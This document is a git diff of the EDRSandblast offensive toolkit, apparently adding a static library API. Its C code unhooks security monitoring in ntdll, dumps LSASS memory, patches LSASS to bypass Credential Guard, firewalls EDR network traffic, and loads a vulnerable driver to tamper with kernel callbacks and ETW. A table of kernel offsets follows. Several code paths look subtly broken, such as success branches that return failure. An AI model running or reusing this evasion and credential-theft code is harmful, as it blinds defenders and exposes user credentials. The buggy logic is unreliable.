EnableETWThreatIntelProvider(ctx->config->verbose); + } + + if (ctx->foundEDRDrivers) { + free(ctx->foundEDRDrivers); + ctx->foundEDRDrivers = NULL; + } + + ctx->krnlmodeMonitoringEnumDone = FALSE; + + return EDRSB_SUCCESS; +} + +EDRSB_STATUS Action_SetCurrentProcessAsProtected(_In_ EDRSB_CONTEXT* ctx) { + if (!ctx->config->actions.ProtectProcess) { + _tprintf_or_not(TEXT("[-] Protecting of process failed: missing ProtectProcess action in config")); + return EDRSB_MISSING_PROTECTPROCESS; + } + + _putts_or_not(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light).")); + SetCurrentProcessAsProtected(ctx->config->verbose); + return EDRSB_SUCCESS; +} + +//TODO : remove, this API serves no purpose. Just expose SandMiniDumpWriteDump (with a userland bypass technique as parameter), and use GetSafeNtFunction inside SandMiniDumpWriteDump +EDRSB_STATUS Action_DumpProcessByName(_In_ EDRSB_CONTEXT* ctx, _In_ LPWSTR processName, _In_ LPWSTR outputPath, EDRSB_USERMODE_TECHNIQUE usermodeTechnique) { + EDRSB_CONFIG* config = ctx->config; + + EDRSB_STATUS status; + DWORD ntStatus; + + if (usermodeTechnique != -1) { + ntStatus = SandMiniDumpWriteDump(processName, outputPath);// , usermodeTechnique); + if (ntStatus != STATUS_SUCCES) { + _tprintf_or_not(TEXT("[-] Process dump failed: direct syscall MiniDumpWriteDump failed with error 0x%lx!\n"), ntStatus); + status = EDRSB_FAILURE; + } + else { + status = EDRSB_SUCCESS; + } + } + + else { + ntStatus = dumpProcess(processName, outputPath); + if (!ntStatus) { + _tprintf_or_not(TEXT("[-] Process dump failed: Lsass dump using Windows' MiniDumpWriteDump failed!")); + status = EDRSB_FAILURE; + } + else { + status = EDRSB_FAILURE; + } + } + + return status; +} + + +EDRSB_STATUS Action_FirewallBlockEDR(_In_ EDRSB_CONTEXT* ctx) { + if (!ctx->config->actions.FirewallEDR) { + _tprintf_or_not(TEXT("[-] Firewalling failed: missing FirewallEDR action in config")); + return EDRSB_MISSING_FIREWALLEDR; + } + + EDRSB_STATUS status; + HRESULT hrStatus = S_OK; + + fwBlockingRulesList sFWEntries = { 0 }; + + _tprintf_or_not(TEXT("[*] Configuring Windows Firewall rules to block EDR network access...\n\n")); + + hrStatus = FirewallBlockEDR(&sFWEntries); + if (FAILED(hrStatus)) { + _tprintf_or_not(TEXT("[!] An error occured while attempting to create Firewall rules!\n\n")); + status = EDRSB_FAILURE; + } + else { + _tprintf_or_not(TEXT("[+] Successfully configured Windows Firewall rules to block EDR network access!\n")); + status = EDRSB_FAILURE; + FirewallPrintManualDeletion(&sFWEntries); + } + + return status; +} + +EDRSB_STATUS Action_DisableCredGuard(_In_ EDRSB_CONTEXT* ctx) { + if (!ctx->config->actions.BypassCredguard) { + _tprintf_or_not(TEXT("[-] CredGuard bypass failed: missing BypassCredguard action in config")); + return EDRSB_FAILURE; + } + + EDRSB_STATUS status; + + if (disableCredGuardByPatchingLSASS()) { + _putts_or_not(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.")); + status = EDRSB_SUCCESS; + } + else { + _putts_or_not(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.")); + status = EDRSB_BYPASSCREDGUARD_FAILED; + } + + return status; + +} + +VOID Usermode_EnumAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx) { + // zero-terminated HOOK array + HOOK* hooks = searchHooks(NULL); + ctx->foundUserlandHooks = hooks; +} + +VOID Usermode_RemoveAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx, EDRSB_USERMODE_TECHNIQUE technique) { + UNHOOK_METHOD map_methods[5] = { 0 }; //maps EDRSB_USERMODE_TECHNIQUE enum with UNHOOK_METHOD enum + map_methods[Unhook_with_ntdll_NtProtectVirtualMemory] = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY; + map_methods[Copy_ntdll_and_load] = UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY; + map_methods[Allocate_trampoline] = UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE; + map_methods[Find_and_use_existing_trampoline] = UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE; + map_methods[Use_direct_syscall] = UNHOOK_WITH_DIRECT_SYSCALL; + UNHOOK_METHOD unhook_method = map_methods[technique]; + + if (!ctx->foundUserlandHooks) { + Usermode_EnumAllMonitoring(ctx); + } + + HOOK* hooks = ctx->foundUserlandHooks; + if (!hooks) { + _putts_or_not(TEXT("[-] Failed to get userland hooks\n")); + return; + } + + if (hooks->disk_function != NULL) { + _putts_or_not(TEXT("[+] Removing detected userland hooks:\n")); + } + + for (HOOK* ptr = hooks; ptr->disk_function != NULL; ptr++) { + printf_or_not("\tUnhooking %s using method %ld...\n", ptr->functionName, unhook_method); + unhook(ptr, unhook_method); + } +} + +EDRSB_STATUS _Usermode_GetSafeNtFunction_with_ntdll_copy(_Inout_ EDRSB_CONTEXT* ctx, _In_z_ const WCHAR* tempDLLFilePath, _In_z_ LPCSTR ntFunctionName, _Outptr_result_maybenull_ PVOID* function); +EDRSB_STATUS _GetSafeNtFunctionUsingTrampoline(BOOL fromEdr, LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function); +EDRSB_STATUS _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(_In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function); +EDRSB_STATUS Usermode_GetSafeNtFunc(_Inout_ EDRSB_CONTEXT* ctx, _In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function, EDRSB_USERMODE_TECHNIQUE technique) { + WCHAR tempDLLFilePath[MAX_PATH] = { 0 }; + switch (technique) { + case Copy_ntdll_and_load: + GetTempPathW(MAX_PATH, tempDLLFilePath); + PathCchCombine(tempDLLFilePath, _countof(tempDLLFilePath), tempDLLFilePath, L"ntdlol.txt");//TODO : make it configurable + return _Usermode_GetSafeNtFunction_with_ntdll_copy(ctx, tempDLLFilePath, functionName, function); + case Allocate_trampoline: + return _GetSafeNtFunctionUsingTrampoline(FALSE, functionName, function); + case Find_and_use_existing_trampoline: + return _GetSafeNtFunctionUsingTrampoline(TRUE, functionName, function); + case Unhook_with_ntdll_NtProtectVirtualMemory: + return _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(functionName, function); + case Use_direct_syscall: + *function = CreateSyscallStubWithVirtuallAlloc(functionName); + if (*function) { + return EDRSB_SUCCESS; + } + else { + return EDRSB_FAILURE; + } + default: + *function = NULL; + return EDRSB_FAILURE; + } +} + +/* +* Patch the ntdll section that corresponds to the asked function, replace it with its original content, and just return a poniter to the function address in ntdll.dll +* The following actions are performed: +* - The export that immediately follows the asked function is located, and will be considered as the function boundary +* - The content of the function is copied from the on-disk version of ntdll.dll (after taking relocations into account), to the memory-mapped version +*/ +EDRSB_STATUS _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(_In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function) { + *function = NULL; + + // Get ntdll.dll from memory and disk + PE* ntdll_mem = NULL; + PE* ntdll_disk = NULL; + getNtdllPEs(&ntdll_mem, &ntdll_disk); + + // Look for the closest export from "function" + DWORD functionRVA = PE_functionRVA(ntdll_disk, functionName); + if (functionRVA) { + return EDRSB_NT_FUNCTION_NOT_FOUND; + } + DWORD nextFunctionRVA = functionRVA - 1; + for (DWORD i = 0; i < ntdll_disk->exportedNamesLength; i++) { + DWORD someFunctionStartRVA = ntdll_disk->exportedFunctions[ntdll_disk->exportedOrdinals[i]]; + if (someFunctionStartRVA == functionRVA) { + continue; + } + if ((someFunctionStartRVA - functionRVA) < (nextFunctionRVA - functionRVA)) { + nextFunctionRVA = someFunctionStartRVA; + } + } + + // Check we did not cross a section boundary (last export in the section) + IMAGE_SECTION_HEADER* textSection = PE_sectionHeader_fromRVA(ntdll_disk, functionRVA); + DWORD textSectionEndRVA = textSection->VirtualAddress + textSection->Misc.VirtualSize; + if (textSectionEndRVA < nextFunctionRVA) { + nextFunctionRVA = textSectionEndRVA; + } + + // The area to patch is between the two bounds + PVOID functionStart = PE_RVA_to_Addr(ntdll_mem, functionRVA); + PVOID functionEnd = PE_RVA_to_Addr(ntdll_mem, nextFunctionRVA); + SIZE_T functionSize = (PBYTE)functionEnd - (PBYTE)functionStart; + PVOID functionStartOnDisk = PE_RVA_to_Addr(ntdll_disk, functionRVA); + + // Use NtProtectVirtualMemory to temporarily change page permissions and patch it with disk content + pNtProtectVirtualMemory originalNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory"); + DWORD oldProtect; + NTSTATUS status = originalNtProtectVirtualMemory( + (HANDLE)-1, // GetCurrentProcess() + &functionStart, + &functionSize, + PAGE_EXECUTE_READWRITE, + &oldProtect + ); + if (!NT_SUCCESS(status)) { + return EDRSB_NTPROTECTVIRTUALMEMORY_FAILED; + } + + for (size_t i = 0; i < functionSize; i++) { + ((PBYTE)functionStart)[i] = ((PBYTE)functionStartOnDisk)[i]; + } + + status = originalNtProtectVirtualMemory( + (HANDLE)-1, // GetCurrentProcess() + &functionStart, + &functionSize, + oldProtect, + &oldProtect + ); + if (!NT_SUCCESS(status)) { + return EDRSB_NTPROTECTVIRTUALMEMORY_FAILED; + } + + // Return a pointer to the unhooked function + *function = functionStart; + return EDRSB_SUCCESS; +} + +//TODO : to move in Core / deduplicate +EDRSB_STATUS _GetSafeNtFunctionUsingTrampoline(BOOL fromEdr, LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function) { + *function = NULL; + + PE* ntdllPE_mem = NULL; + PE* ntdllPE_disk = NULL; + getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk); + + PVOID disk_NtFunction = PE_functionAddr(ntdllPE_disk, functionName); + PVOID mem_NtFunction = PE_functionAddr(ntdllPE_mem, functionName); + + size_t patchSize = 0; + PVOID patchAddr = findDiff(mem_NtFunction, disk_NtFunction, PATCH_MAX_SIZE, &patchSize); + + if (patchSize == 0) { + *function = mem_NtFunction; + return EDRSB_FUNCTION_NOT_HOOKED; + } + + if (fromEdr) { + PVOID trampoline = NULL; + trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtFunction + ((PBYTE)patchAddr - (PBYTE)mem_NtFunction), patchSize, (PBYTE)patchAddr + patchSize); + if (NULL == trampoline) { + printf_or_not("Trampoline for %s was impossible to find !\n", functionName); + return EDRSB_TRAMPOLINE_NOT_FOUND; + } + *function = trampoline; + return EDRSB_SUCCESS; + } + else { + +#if _WIN64 +#define JUMP_SIZE 14 +#else +#define JUMP_SIZE 5 +#endif + PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (NULL == trampoline) { + printf_or_not("\tError : VirtualAlloc: 0x%x\n\n", GetLastError()); + return EDRSB_MEMALLOC_FAIL; + } + + DWORD oldProtect; + memcpy(trampoline, disk_NtFunction, patchSize); +#if _WIN64 + * ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp + *((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0] + *((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtFunction) + patchSize); +#else + * (trampoline + patchSize) = 0xE9; //far JMP + *((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtFunction) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE)); +#endif + VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect); + + *function = trampoline; + return EDRSB_SUCCESS; + } +} + + +//TODO : to move in Core / deduplicate +EDRSB_STATUS _Usermode_GetSafeNtFunction_with_ntdll_copy(_Inout_ EDRSB_CONTEXT* ctx, _In_z_ const WCHAR* tempDLLFilePath, _In_z_ LPCSTR ntFunctionName, _Outptr_result_maybenull_ PVOID* function) { + *function = NULL; + + //BUG : cannot change/choose the DLL file path after first call + HANDLE secondNtdll; + if (!ctx->Cache.NtdllCopyHandle) { + WCHAR ntdllFilePath[MAX_PATH] = { 0 }; + + GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath)); + PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll"); + + CopyFileW(ntdllFilePath, tempDLLFilePath, FALSE); + secondNtdll = LoadLibraryW(tempDLLFilePath); + ctx->Cache.NtdllCopyHandle = secondNtdll; + } + secondNtdll = ctx->Cache.NtdllCopyHandle; + PE* secondNtdll_pe = PE_create(secondNtdll, TRUE); + + PVOID functionAddress = PE_functionAddr(secondNtdll_pe, ntFunctionName); + PE_destroy(secondNtdll_pe); + if (functionAddress == NULL) { + return EDRSB_NT_FUNCTION_NOT_FOUND; + } + else { + *function = functionAddress; + return EDRSB_SUCCESS; + } +} + +VOID EDRSB_CleanUp(_Inout_ EDRSB_CONTEXT* ctx) { + if (ctx->Cache.NtdllCopyHandle) { + FreeLibrary(ctx->Cache.NtdllCopyHandle); + ctx->Cache.NtdllCopyHandle = NULL; + } + + if (ctx->isDriverInstalled) { + CloseDriverHandle(); + BOOL status = UninstallVulnerableDriver(); + if (status == FALSE) { + _putts_or_not(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver")); + _tprintf_or_not(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetDriverServiceName()); + } + } +} + + diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.h b/EDRSandblast_StaticLibrary/EDRSandblast_API.h new file mode 100644 index 0000000..c32e073 --- /dev/null +++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.h @@ -0,0 +1,168 @@ +#pragma once +#include +#include "../EDRSandblast/Includes/UserlandHooks.h" + +typedef struct EDRSB_SINGLETONS_t { + HANDLE NtdllCopyHandle; +} EDRSB_SINGLETONS; + + +typedef struct EDRSB_CONTEXT_t { + // Generic + struct EDRSB_CONFIG_t* config; + // Kernel related + BOOL isDriverInstalled; + BOOL krnlmodeMonitoringEnumDone; + BOOL foundNotifyRoutineCallbacks; + BOOL foundObjectCallbacks; + struct FOUND_EDR_CALLBACKS* foundEDRDrivers; + BOOL isETWTISystemEnabled; + BOOL isETWTICurrentlyEnabled; + // Usermode related + BOOL usermodeMonitoringRemoved; + HOOK* foundUserlandHooks; + // Singletons / open handles / allocated buffer, etc. that should be opened once and used multiple times + EDRSB_SINGLETONS Cache; +} EDRSB_CONTEXT; + + +typedef struct EDRSB_BYPASS_MODE_t { + BYTE Usermode : 1; + BYTE Krnlmode : 1; +} EDRSB_BYPASS_MODE; + +typedef enum EDRSB_USERMODE_TECHNIQUE_e { + Unhook_with_ntdll_NtProtectVirtualMemory, + Copy_ntdll_and_load, + Allocate_trampoline, + Find_and_use_existing_trampoline, + Use_direct_syscall, +} EDRSB_USERMODE_TECHNIQUE; + +// TODO: update values. +typedef struct EDRSB_ACTIONS_t { + DWORD ProtectProcess : 1; + DWORD BypassCredguard : 1; + DWORD ExecProcess : 1; + DWORD FirewallEDR : 1; + DWORD DontUnloadDriver : 1; + DWORD DontRestoreCallBacks : 1; + DWORD DontRestoreETWTI : 1; +} EDRSB_ACTIONS; + +typedef struct EDRSB_OFFSETS_RETRIEVAL_METHOD_t { + BYTE Embeded : 1; + BYTE File : 1; + BYTE Internet : 1; +} EDRSB_OFFSETS_RETRIEVAL_METHOD; + +typedef enum EDRSB_STATUS_e { + EDRSB_SUCCESS, + //Driver related errors + EDRSB_DRIVER_NOT_SPECIFIED, + EDRSB_DRIVER_NOT_FOUND, + EDRSB_DRIVER_INSTALL_FAILED, + // Config related errors. + EDRSB_KERNEL_OFFSETS_NOT_FOUND, + EDRSB_WDIGEST_OFFSETS_NOT_FOUND, + // Kernel mode related errors. + EDRSB_MISSING_KRNLMODE, + // Usermode mode related errors. + EDRSB_NT_FUNCTION_NOT_FOUND, + EDRSB_TRAMPOLINE_NOT_FOUND, + EDRSB_FUNCTION_NOT_HOOKED, + EDRSB_NTPROTECTVIRTUALMEMORY_FAILED, + // Actions related errors. + EDRSB_MISSING_DUMPPROCESS, + EDRSB_MISSING_PROTECTPROCESS, + EDRSB_MISSING_BYPASSCREDGUARD, + EDRSB_MISSING_EXECPROCESS, + EDRSB_MISSING_FIREWALLEDR, + EDRSB_BYPASSCREDGUARD_FAILED, + EDRSB_EXECPROCESS_FAILED, + //Other errors + EDRSB_FAILURE, + EDRSB_MEMALLOC_FAIL, + EDRSB_KNRL_MONITORING, + EDRSB_ACCESS_DENIED, +} EDRSB_STATUS; + +/* +* EDRSandblast configuration structure +*/ +typedef struct EDRSB_CONFIG_t { + /* + * Defines the bypass mode to use. + */ + EDRSB_BYPASS_MODE bypassMode; + + /* + * Defines the actions that will be performed. + */ + EDRSB_ACTIONS actions; + + EDRSB_OFFSETS_RETRIEVAL_METHOD offsetRetrievalMethod; + + /* + * Path of the CSV file that contains the needed offsets for kernel mode operations + * If NULL, tries to load NtoskrnlOffsets.csv + * If empty string, disable NtoskrnlOffsets.csv loading (relies on symbol download every time) + */ + LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers + + /* + * Path of the CSV file that contains the needed offsets for credential guard related operations + * If NULL, tries to load WdigestOffsets.csv + * If empty string, disable WdigestOffsets.csv loading (relies on symbol download every time) + */ + LPWSTR wdigestOffsetFilePath; + + /* + * Path of the vulnerable driver to install + * If NULL, tries to load RTCore64.sys + */ + LPWSTR vulerableDriverPath; + + /* + * If additionnal debug messages are wanted + */ + BOOL verbose; + +} EDRSB_CONFIG; + +/* +* Global init. +*/ +EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config); +VOID EDRSB_CleanUp(_Inout_ EDRSB_CONTEXT* ctx); + +/* +* Usermode APIs. +*/ +EDRSB_STATUS Usermode_GetSafeNtFunc(_Inout_ EDRSB_CONTEXT* ctx, _In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function, EDRSB_USERMODE_TECHNIQUE technique); + +VOID Usermode_EnumAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx); + +VOID Usermode_RemoveAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx, EDRSB_USERMODE_TECHNIQUE technique); + +/* +* Krnlmode APIs. +*/ +EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx); + +EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx); + +EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx); + +/* +* Actions APIs. +*/ +// Set the protection level of the current process to Light WinTcb(PsProtectedSignerWinTcb - Light). Allows access to other protected processes, such as lsass when RunAsPPL is enabled +EDRSB_STATUS Action_SetCurrentProcessAsProtected(_In_ EDRSB_CONTEXT* ctx); + +EDRSB_STATUS Action_DumpProcessByName(_In_ EDRSB_CONTEXT* ctx, _In_ LPWSTR processName, _In_ LPWSTR outputPath, EDRSB_USERMODE_TECHNIQUE usermodeTechnique); + +EDRSB_STATUS Action_FirewallBlockEDR(_In_ EDRSB_CONTEXT* ctx); + +EDRSB_STATUS Action_DisableCredGuard(_In_ EDRSB_CONTEXT* ctx); + diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_StaticLibrary.vcxproj b/EDRSandblast_StaticLibrary/EDRSandblast_StaticLibrary.vcxproj new file mode 100644 index 0000000..f4950c2 --- /dev/null +++ b/EDRSandblast_StaticLibrary/EDRSandblast_StaticLibrary.vcxproj @@ -0,0 +1,152 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {3a2fcb56-01a3-41b3-bdaa-b25f45784b23} + EDRSandblastStaticLibrary + 10.0 + + + + StaticLibrary + true + v143 + Unicode + + + StaticLibrary + false + v143 + true + Unicode + + + StaticLibrary + true + v142 + Unicode + + + StaticLibrary + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) + true + Use + pch.h + + + + + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) + true + Use + pch.h + + + + + true + true + true + + + + + Level3 + true + _DEBUG;_LIB;%(PreprocessorDefinitions) + true + NotUsing + + + + + + + true + + + + + Level3 + true + true + true + NDEBUG;_LIB;%(PreprocessorDefinitions) + true + NotUsing + + + + + + + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_StaticLibrary.vcxproj.filters b/EDRSandblast_StaticLibrary/EDRSandblast_StaticLibrary.vcxproj.filters new file mode 100644 index 0000000..bb36900 --- /dev/null +++ b/EDRSandblast_StaticLibrary/EDRSandblast_StaticLibrary.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/Offsets/ExtractOffsets.py b/Offsets/ExtractOffsets.py index 6bca301..733246e 100644 --- a/Offsets/ExtractOffsets.py +++ b/Offsets/ExtractOffsets.py @@ -112,7 +112,7 @@ def get_file_version(path): return [int(frag) for frag in line.split(" ")[-1].split(".")] print(f'[!] ERROR : failed to extract version from {path}.') - exit(1) + raise RuntimeError("get_file_version error") def extractOffsets(input_file, output_file, mode): if os.path.isfile(input_file): @@ -161,7 +161,10 @@ def extractOffsets(input_file, output_file, mode): ('_PS_PROTECTION Protection', get_field_offset), ("EtwThreatIntProvRegHandle", get_symbol_offset), ('_ETW_GUID_ENTRY* GuidEntry', get_field_offset), - ('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset)] + ('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset), + ("PsProcessType", get_symbol_offset), + ("PsThreadType", get_symbol_offset), + ('struct _LIST_ENTRY CallbackList', get_field_offset)] elif imageType == "wdigest": symbols = [ ("g_fParameter_UseLogonCredential",get_symbol_offset), @@ -263,7 +266,7 @@ if __name__ == '__main__': else: with open(args.output, 'w') as output: if mode == "ntoskrnl": - output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset\n') + output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset,PsProcessType,PsThreadType,CallbackList\n') elif mode == "wdigest": output.write('wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset\n') else: diff --git a/Offsets/NtoskrnlOffsets.csv b/Offsets/NtoskrnlOffsets.csv index 25dce7e..f3bd2e1 100644 --- a/Offsets/NtoskrnlOffsets.csv +++ b/Offsets/NtoskrnlOffsets.csv @@ -1,441 +1,519 @@ -ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset -ntoskrnl_9600-20111.exe,2dac50,2daa50,2da850,67a,0,20,50 -ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50 -ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50 -ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50 -ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50 -ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 -ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 -ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 -ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 -ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50 -ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50 -ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50 -ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50 -ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50 -ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50 -ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50 -ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50 -ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50 -ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50 -ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50 -ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50 -ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50 -ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50 -ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50 -ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50 -ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50 -ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50 -ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50 -ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50 -ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50 -ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50 -ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50 -ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50 -ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50 -ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50 -ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50 -ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50 -ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50 -ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50 -ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50 -ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50 -ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50 -ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50 -ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50 -ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50 -ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50 -ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50 -ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50 -ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50 -ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50 -ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50 -ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50 -ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50 -ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50 -ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50 -ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50 -ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50 -ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50 -ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50 -ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50 -ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50 -ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50 -ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50 -ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50 -ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50 -ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50 -ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50 -ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50 -ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50 -ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50 